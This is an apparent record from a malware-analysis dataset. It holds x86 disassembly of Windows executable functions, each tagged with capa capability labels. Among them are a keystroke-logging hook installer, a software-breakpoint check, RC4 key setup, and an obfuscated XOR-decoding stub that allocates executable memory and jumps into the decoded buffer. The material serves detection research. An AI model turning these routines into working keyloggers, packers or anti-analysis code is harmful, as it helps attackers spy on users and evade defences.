joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d760
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d20b
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x1c], ebx
lea esi, [ebx + 4]
mov dword [ebx], vtable.StringStorage.0
mov dword [ebp - 0x20], ebx
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push esi
push 1
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.004217f0
mov ecx, dword [esi]
mov eax, dword [esi + 4]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4b0eac
push ecx
call fcn.00473660
add esp, 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 1
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], 0
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x44d92b
push ecx
push edi
lea ecx, [ebp - 0x2c]
call fcn.0042a330
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x2c]
push esi
push edi
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x44d92b
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x4b174c
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x44d92b
mov eax, dword [ebp - 0x14]
mov dword [ebp + 8], 0x4b4140
movzx edx, word [eax + 0x16]
movzx edi, word [eax + 0x12]
movzx ecx, word [eax + 0x10]
movzx eax, word [eax + 0x14]
cmp edx, 0x64
jbe 0x44d884
inc ecx
mov dword [ebp + 8], str.beta
add edx, 0xff9c
cmp cx, 0x64
jb 0x44d884
xor ecx, ecx
inc edi
test dx, dx
jne 0x44d8a6
test ax, ax
jne 0x44d8ca
movzx eax, cx
push eax
movzx eax, di
push eax
push str._d._d
push ebx
call fcn.0043a670
add esp, 0x10
jmp 0x44d8e8
test ax, ax
jne 0x44d8ca
movzx eax, dx
push eax
push dword [ebp + 8]
movzx eax, cx
push eax
movzx eax, di
push eax
push str._d._d_s_d
push ebx
call fcn.0043a670
add esp, 0x18
jmp 0x44d8e8
push eax
movzx eax, dx
push eax
push dword [ebp + 8]
movzx eax, cx
push eax
movzx eax, di
push eax
push str._d._d_s_d._d
push ebx
call fcn.0043a670
add esp, 0x1c
test esi, esi
je 0x44d915
mov ecx, dword [ebp - 0x24]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x44d90b
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d941
push ecx
push esi
call fcn.00471b16
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x54]
call fcn.0044feb0
push 0x4ca318
lea eax, [ebp - 0x54]
push eax
call fcn.004735ed
call fcn.0047da31
int3
Function at 0x44db10
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d298
mov eax, dword fs:[0]
push eax
sub esp, 0xa4
push esi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 0x24]
test eax, eax
je 0x44db50
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x28]
test eax, eax
je 0x44db65
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x28], 0
mov eax, dword [esi + 0x38]
xorps xmm0, xmm0
mov edx, dword [esi + 0x30]
mov ecx, dword [esi + 0x34]
movlpd qword [ebp - 0x74], xmm0
movlpd qword [ebp - 0x6c], xmm0
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x78], 0x44
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
test eax, eax
jne 0x44dbb2
test edx, edx
jne 0x44dbb2
test ecx, ecx
je 0x44dbb9
or dword [ebp - 0x4c], 0x100
mov dword [ebp - 0x1c], vtable.StringStorage.0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0
push eax
push 1
mov ecx, eax
call fcn.004217f0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4b0eac
push ecx
call fcn.00473660
add esp, 0xc
mov dword [ebp - 4], 1
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
sub eax, ecx
sar eax, 1
add eax, 0xffffffff
jne 0x44dc33
mov dword [ebp - 0x2c], vtable.StringStorage.0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 2
push dword [esi + 8]
jmp 0x44dc6b
push ecx
push dword [esi + 8]
lea eax, [ebp - 0x1c]
push str._s__s
push eax
call fcn.0043a670
add esp, 0x10
mov dword [ebp - 0x2c], vtable.StringStorage.0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov byte [ebp - 4], 3
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2c]
call fcn.0043a270
lea ecx, [ebp - 0x1c]
call fcn.0043a210
lea eax, [ebp - 0x88]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0x78]
push eax
movzx eax, byte [esi + 0x3c]
push 0
push 0
push 0
push eax
push 0
push 0
push dword [ebp - 0x28]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x44dcd5
mov eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x2c]
mov dword [esi + 0x28], eax
mov eax, dword [ebp - 0x88]
mov dword [esi + 0x24], eax
call fcn.0043a210
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xb0]
call fcn.0044feb0
push 0x4ca318
lea eax, [ebp - 0xb0]
push eax
call fcn.004735ed
int3
Function at 0x44e190
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d378
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
lea edi, [ebx + 8]
mov dword [ebx], vtable.WinProcessCommandLine.0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [ebp - 4], 0
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x10
mov byte [ebp - 4], 2
call fcn.00471fe1
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
mov ecx, esi
call fcn.00450410
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
mov dword [ebx + 4], eax
add eax, 4
cmp ecx, eax
je 0x44e24e
push dword [ebp - 0x14]
push dword [eax + 4]
push dword [eax]
call fcn.00470090
mov eax, dword [ebp - 0x1c]
xor esi, esi
mov ecx, dword [ebp - 0x20]
sub eax, ecx
sar eax, 4
test eax, eax
je 0x44e2d4
xor ebx, ebx
mov eax, dword [ebx + ecx + 4]
lea edx, [ebx + ecx]
cmp word [eax], 0x2d
je 0x44e2b5
mov ecx, dword [edi + 4]
cmp dword [edi + 8], ecx
je 0x44e2aa
mov dword [ecx], vtable.StringStorage.0
mov dword [ebp - 0x14], ecx
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov byte [ebp - 4], 4
mov eax, dword [ecx]
push dword [edx + 4]
call dword [eax + 4]
mov byte [ebp - 4], 2
add dword [edi + 4], 0x10
jmp 0x44e2be
push edx
push ecx
mov ecx, edi
call fcn.00423db0
jmp 0x44e2be
mov ecx, dword [ebp - 0x10]
push edx
call fcn.0044e330
mov eax, dword [ebp - 0x1c]
inc esi
mov ecx, dword [ebp - 0x20]
add ebx, 0x10
sub eax, ecx
sar eax, 4
cmp esi, eax
jb 0x44e261
mov ebx, dword [ebp - 0x10]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 5
call fcn.00423cd0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44ef40
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x4d02f4]
sub esp, 0x2c
push esi
mov esi, ecx
test eax, eax
je 0x44ef5c
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
mov dword [0x4d02f4], 0
mov dword [0x4d02f8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push eax
push 0x44eef0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4d02f4], eax
test eax, eax
je 0x44ef92
pop esi
mov esp, ebp
pop ebp
ret
push 0x4bad44
lea ecx, [esp + 0xc]
call fcn.00450030
push 0x4ca318
lea eax, [esp + 0xc]
push eax
call fcn.004735ed
int3
Function at 0x44f190
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d570
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 4], 0
jne 0x44f1d9
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ecx
push 1
push dword [ebp + 8]
lea ecx, [ebp - 0x3c]
mov bl, 1
push edi
call fcn.0044f0b0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x10], 0
call fcn.0044f3e0
test al, al
je 0x44f25f
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x44f25f
push ecx
push esi
lea ecx, [ebp - 0x20]
call fcn.0044f6f0
push 0
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x3c]
push dword [ebp - 0x20]
call fcn.0044f3e0
test esi, esi
je 0x44f251
xor edi, edi
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x3c]
push dword [edi + eax + 4]
call fcn.0044f190
neg al
lea edi, [edi + 0x10]
sbb al, al
and bl, al
sub esi, 1
jne 0x44f231
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00423cd0
jmp 0x44f261
xor bl, bl
mov eax, dword [edi + 4]
test eax, eax
jne 0x44f26c
xor dl, dl
jmp 0x44f27b
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
sete dl
xor ecx, ecx
movzx eax, bl
test dl, dl
mov dword [ebp - 0x3c], vtable.RegistryKey.0
cmovne ecx, eax
mov dword [ebp + 8], ecx
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x44f2a9
cmp ecx, dword [ebp - 0x34]
je 0x44f2a2
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x30]
call fcn.0043a210
mov al, byte [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44f2d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d598
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 4]
test eax, eax
jne 0x44f317
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push 0
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push ecx
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44f301
mov eax, dword [ebp - 0x10]
push ecx
inc eax
lea ecx, [ebp - 0x20]
push eax
call fcn.00425dc0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
push 0
push ebx
push dword [edi + 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x44f36e
xor bl, bl
jmp 0x44f389
mov eax, dword [ebp - 0x10]
cmp word [esi + eax*2], 0
je 0x44f37e
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp + 0xc]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov bl, 1
test esi, esi
je 0x44f3b9
mov ecx, dword [ebp - 0x18]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x44f3af
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f3cf
push ecx
push esi
call fcn.00471b16
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.0047da31
int3
Function at 0x44f3e0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d5d8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x4cc06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
cmp dword [esi + 4], 0
jne 0x44f429
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], vtable.StringStorage.0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
push 1
mov ecx, eax
call fcn.004217f0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x4b0eac
push ecx
call fcn.00473660
add esp, 0xc
mov dword [ebp - 4], 1
mov edi, 0x400
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
push 0x401
mov ecx, eax
call fcn.004217f0
push edi
push dword [ebp - 0x20]
push ebx
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov esi, eax
test esi, esi
je 0x44f4fa
cmp esi, 0xea
jne 0x44f506
add edi, 0x400
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
lea eax, [edi + 1]
push eax
call fcn.004217f0
mov eax, dword [ebp - 0x14]
push edi
push dword [ebp - 0x20]
push ebx
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov esi, eax
test esi, esi
jne 0x44f4c5
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x20]
call dword [eax + 4]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x44f558
mov eax, dword [ebp - 0x18]
sub eax, ecx
sar eax, 1
lea edx, [eax + eax]
mov eax, ecx
cmp edx, 0x1000
jb 0x44f539
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f5f1
push edx
push ecx
call fcn.00471b16
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
test esi, esi
jne 0x44f5c3
cmp dword [ebp + 8], 0
mov esi, dword [ebp - 0x10]
je 0x44f56f
mov eax, dword [esi]
mov ecx, esi
push dword [ebp - 0x2c]
call dword [eax + 4]
add esi, 0x10
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
inc ebx
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x30], vtable.StringStorage.0
test edx, edx
je 0x44f431
mov ecx, dword [ebp - 0x24]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffe
cmp ecx, 0x1000
jb 0x44f5b4
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f5f1
push ecx
push edx
call fcn.00471b16
add esp, 8
jmp 0x44f431
lea ecx, [ebp - 0x30]
call fcn.0043a210
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x44f5d4
mov dword [eax], ebx
cmp esi, 0x103
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.0047da31
int3
Function at 0x44fd00
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1ac
mov eax, dword [0x4cc06c]
xor eax, esp
mov dword [esp + 0x1a8], eax
push esi
mov esi, ecx
lea eax, [esp + 0x18]
push eax
push 0x102
mov dword [esi], vtable.WsaStartup.0
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x44fd4e
mov ecx, dword [esp + 0x1ac]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00471b05
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 4]
push 0x4baef8
push eax
call fcn.0043a760
add esp, 8
lea eax, [esp + 4]
push 0x4ca0b8
push eax
call fcn.004735ed
int3
Function at 0x453890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push esi
mov esi, ecx
lea eax, [esp + 0x10]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp dword [esp + 0x14], ecx
jg 0x4538be
jl 0x4538f1
cmp dword [esp + 0x10], eax
jb 0x4538f1
push 1
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push dword [esi + 4]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
jne 0x4538ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x453912
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x18]
push str.Specified_file_pointer_position_is_more_than_file_length
push eax
call fcn.0043a760
add esp, 8
lea eax, [esp + 0x18]
push 0x4ca0b8
push eax
call fcn.004735ed
push str.Cannot_set_file_pointer_to_specified_position
lea ecx, [esp + 0x1c]
call fcn.00450030
push 0x4ca318
lea eax, [esp + 0x1c]
push eax
call fcn.004735ed
int3

Function at 0x4544e0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x14], 0xcc
je 0x45450a
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
add esp, 4
mov dword [esi + 0x78], 0
mov dword [esi + 0x14], 0xcc
mov eax, dword [esi + 0x198]
cmp byte [eax + 8], 0
je 0x454593
mov ecx, dword [esi + 0x78]
lea ebx, [esi + 0x78]
nop dword [eax]
cmp ecx, dword [esi + 0x60]
jae 0x454566
mov eax, dword [esi + 8]
mov edi, ecx
test eax, eax
je 0x454547
mov dword [eax + 4], ecx
mov ecx, dword [esi + 8]
mov eax, dword [esi + 0x60]
push esi
mov dword [ecx + 8], eax
mov eax, dword [esi + 8]
mov eax, dword [eax]
call eax
mov edi, dword [ebx]
add esp, 4
mov eax, dword [esi + 0x19c]
push 0
push ebx
push 0
mov eax, dword [eax + 4]
push esi
call eax
mov ecx, dword [ebx]
add esp, 0x10
cmp ecx, edi
je 0x4545a9
cmp ecx, dword [esi + 0x60]
jb 0x454525
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax + 4]
call eax
mov eax, dword [esi + 0x198]
push esi
mov eax, dword [eax]
call eax
mov dword [ebx], 0
xor ecx, ecx
mov eax, dword [esi + 0x198]
add esp, 8
cmp byte [eax + 8], cl
jne 0x454520
xor eax, eax
cmp byte [esi + 0x41], al
pop edi
setne al
add eax, 0xcd
mov dword [esi + 0x14], eax
mov al, 1
pop esi
pop ebx
ret
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x4592e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov edx, ecx
push ebx
push esi
push edi
mov esi, dword [edx + 0x4c]
mov ebx, 0x100
mov edi, dword [edx + 0x1c0]
cmp esi, 1
mov dword [ebp - 0xc], edx
sete al
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], esi
mov byte [edi + 0x1c], al
mov eax, 0x2fe
push dword [edx + 0x64]
mov ecx, dword [edx + 4]
cmovne eax, ebx
push eax
push 1
push edx
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 0xc]
xor ebx, ebx
mov dword [edi + 0x18], eax
add esp, 0x10
mov eax, dword [edi + 0x14]
mov dword [ebp - 8], ebx
cmp dword [ecx + 0x64], ebx
jle 0x45940a
nop dword [eax]
mov ecx, dword [edi + ebx*4 + 0x20]
cdq
idiv ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
cmp esi, 1
jne 0x45935c
mov eax, dword [edi + 0x18]
add dword [eax + ebx*4], 0xff
mov eax, dword [edi + 0x18]
lea edi, [ecx*2 - 2]
mov eax, dword [eax + ebx*4]
xor ebx, ebx
mov dword [ebp - 4], eax
lea eax, [ecx + 0xfe]
cdq
idiv edi
xor esi, esi
mov edx, eax
nop dword [eax + eax]
cmp esi, edx
jle 0x4593a4
imul eax, ebx, 0x1fe
add ecx, 0xfe
add ecx, eax
add ecx, 0x1fe
inc ebx
mov eax, ecx
cdq
idiv edi
mov edx, eax
cmp esi, edx
jg 0x459392
mov eax, dword [ebp - 0x10]
movzx eax, al
movzx ecx, bl
imul ecx, eax
mov eax, dword [ebp - 4]
mov byte [esi + eax], cl
inc esi
mov ecx, dword [ebp - 0x14]
cmp esi, 0xff
jle 0x459380
mov esi, dword [ebp - 0x18]
cmp esi, 1
jne 0x4593f1
mov ebx, eax
mov ecx, esi
lea edx, [ebx - 1]
movzx eax, byte [ebx]
lea edx, [edx - 1]
mov byte [edx + 1], al
movzx eax, byte [ebx + 0xff]
mov byte [ebx + ecx + 0xff], al
inc ecx
cmp ecx, 0xff
jle 0x4593d1
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, dword [eax + 0x64]
mov eax, dword [ebp - 0x10]
jl 0x459340
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001cc30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cc5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cc8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cc8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call sym.drvSOFT.x3d_struct_PIXWEIGHT____stdcall_PrepareRescale_int__int__int__
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cc8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022650
leave
ret 8

Function at 0x10020400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1002040f
pop dword [ebp - 0x20]
mov eax, 0x110312c8
add eax, 0xfefef147
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xa2d20bd0
sub dword [ebp - 0x30], 0x547fc685
mov dword [ebp - 0x2c], 0xacf18506
sub dword [ebp - 0x2c], 0x7abe38c1
mov dword [ebp - 0x28], 0x89f79937
sub dword [ebp - 0x28], 0x3dab5509
mov dword [ebp - 0x24], 0xb60c4867
sub dword [ebp - 0x24], 0xb60c4867
lea eax, [ebp - 0x30]
push eax
mov eax, 0x55ff841a
add eax, 0xba02cc6a
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xb0508011
sub dword [ebp - 0x30], 0x3bde16bb
mov dword [ebp - 0x2c], 0x689f1e08
add dword [ebp - 0x2c], 0xd8cd436d
mov dword [ebp - 0x28], 0x939f2e88
add dword [ebp - 0x28], 0xcfd03de4
mov dword [ebp - 0x24], 0x6679a40a
add dword [ebp - 0x24], 0x99865bf6
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xe870281
sub eax, 0xfe84b205
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x374c0
push 0
call eax
mov ecx, 0x37a3
xor edi, edi
add edi, eax
mov edx, 0xff731479
add edx, 0x108ff787
add edx, dword [ebp - 0x20]
mov esi, 0x60e0201f
sub esi, 0xeeec3572
mov dword [ebp - 4], 0xa089dee9
mov ebx, dword [edx]
xor dword [ebp - 4], 0x19f62d54
add ebx, esi
add dword [ebp - 0xc], 0xf8da248b
mov dword [edi], ebx
sub dword [ebp - 0x18], esi
add edi, 4
add edx, 4
loop 0x1002052d
add eax, 0xd15f
mov ebx, eax
add eax, 5
mov ecx, 0x36346615
add ecx, 0xd9cb99eb
add ecx, dword [ebp - 0x20]
call ebx
leave
ret